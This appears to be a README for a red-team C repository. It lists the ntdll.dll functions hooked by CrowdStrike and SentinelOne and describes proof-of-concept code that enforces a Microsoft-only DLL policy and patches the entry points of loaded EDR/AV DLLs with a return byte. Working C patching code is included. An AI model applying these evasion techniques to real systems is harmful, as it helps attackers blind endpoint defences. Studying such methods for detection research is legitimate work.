RedTeamCCode

Red Team C code repo

CrowdStrike hooked ntdll.dll APIs

C:\Users\dev\Desktop>hook_finder_64.exe C:\Windows\System32\ntdll.dll
Loading C:\Windows\System32\ntdll.dll
------------------------------------------
BASE                    0x00007FFAE0030000      MZÉ
PE                      0x00007FFAE00300E8      PE
ExportTableOffset       0x00007FFAE01812A0
OffsetNameTable         0x00007FFAE01838C0
Function Counts         0x97e (2430)
------------------------------------------
NtAllocateVirtualMemory is hooked
NtAllocateVirtualMemoryEx is hooked
NtDeviceIoControlFile is hooked
NtGetContextThread is hooked
NtMapViewOfSection is hooked
NtMapViewOfSectionEx is hooked
NtProtectVirtualMemory is hooked
NtQueryInformationThread is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtSuspendThread is hooked
NtUnmapViewOfSection is hooked
NtUnmapViewOfSectionEx is hooked
NtWriteVirtualMemory is hooked
ZwAllocateVirtualMemory is hooked
ZwAllocateVirtualMemoryEx is hooked
ZwDeviceIoControlFile is hooked
ZwGetContextThread is hooked
ZwMapViewOfSection is hooked
ZwMapViewOfSectionEx is hooked
ZwProtectVirtualMemory is hooked
ZwQueryInformationThread is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwSuspendThread is hooked
ZwUnmapViewOfSection is hooked
ZwUnmapViewOfSectionEx is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed

SentinelOne hooked ntdll.dll APIs

C:\Users\dev\Desktop>sentinel_hook_finder_64.exe C:\windows\system32\ntdll.dll
Loading C:\windows\system32\ntdll.dll
------------------------------------------
BASE                    0x00007FF8EDA30000      MZÉ
PE                      0x00007FF8EDA300E8      PE
ExportTableOffset       0x00007FF8EDB812A0
OffsetNameTable         0x00007FF8EDB838C0
Functions Count         0x97e (2430)
------------------------------------------
KiUserApcDispatcher is hooked
LdrLoadDll is hooked
NtAllocateVirtualMemory is hooked
NtCreateThreadEx is hooked
NtCreateUserProcess is hooked
NtFreeVirtualMemory is hooked
NtLoadDriver is hooked
NtMapUserPhysicalPages is hooked
NtMapViewOfSection is hooked
NtOpenProcess is hooked
NtProtectVirtualMemory is hooked
NtQuerySystemInformation is hooked
NtQuerySystemInformationEx is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtTerminateProcess is hooked
NtUnmapViewOfSection is hooked
NtWriteVirtualMemory is hooked
RtlAddVectoredExceptionHandler is hooked
RtlGetNativeSystemInformation is hooked
ZwAllocateVirtualMemory is hooked
ZwCreateThreadEx is hooked
ZwCreateUserProcess is hooked
ZwFreeVirtualMemory is hooked
ZwLoadDriver is hooked
ZwMapUserPhysicalPages is hooked
ZwMapViewOfSection is hooked
ZwOpenProcess is hooked
ZwProtectVirtualMemory is hooked
ZwQuerySystemInformation is hooked
ZwQuerySystemInformationEx is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwTerminateProcess is hooked
ZwUnmapViewOfSection is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed

PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON.c

Is a proof-of-concept for the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON trick it will enforce the policy then spawn itself again the respawned process have the policy enforced allowing you run "malicious" code with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON been set.

byebyedll.c

Is a proof-of-concept that enforce the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON policy and also debug the child process (itself) and monitor Dlls that are loaded using Windows debugger APIs. It detect Dlls based on the path and patch it. The idea is to prevent EDR and AV Dlls loaded into your process from executing properly. This is a POC the blacklisted Dlls is set to user32.dll.

The event is monitored using the LOAD_DLL_DEBUG_EVENT event.

The DLL location is then retrieved using event.u.UnloadDll.lpBaseOfDll

The code is patched using the following functions:

VOID *GetEntryPointOffset(CHAR *start, DWORD dwSize, HANDLE hProc) {

    CHAR* mem = GlobalAlloc(GPTR, dwSize);
    DWORD dwBytesRead = 0;

    ReadProcessMemory(hProc, start, mem, dwSize, &dwBytesRead);

    DWORD dwBaseDLLInitializeOffset = *((DWORD*)mem + (0x120 / 4));

#ifdef DEBUG
    printf("dwBaseDLLInitializeOffset offset 0x%x\n", dwBaseDLLInitializeOffset);
#endif

    VOID *dwBaseDLLInitialize = (VOID*)start + dwBaseDLLInitializeOffset;

#ifdef DEBUG
    printf("dwBaseDLLInitialize offset 0x%p\n", dwBaseDLLInitialize);
#endif

    GlobalFree(mem);
    return dwBaseDLLInitialize;
}

VOID ModifyMem(CHAR *start, DWORD dwSize, HANDLE hProc) {
#ifdef DEBUG
    printf("Cleaning HANDLE 0x%p 0x%p length: %d\n", hProc, start, dwSize);
#endif
    VOID* EntryPoint = GetEntryPointOffset(start, dwSize, hProc);
    DWORD dwOut = 0;
    DWORD dwOld = 0;

#ifdef DEBUG
    printf("EntryPoint at 0x%p\n", EntryPoint);
#endif

    VirtualProtectEx(hProc, EntryPoint, 1, PAGE_READWRITE, &dwOld);
    WriteProcessMemory(hProc, EntryPoint, "\xc3", 1, &dwOut);
#ifdef DEBUG
    printf("Size of bytes written: %d\n", dwOut);
#endif
}

Verbose messages can be removed before the code is compiled by setting DEBUG as FALSE.

Credit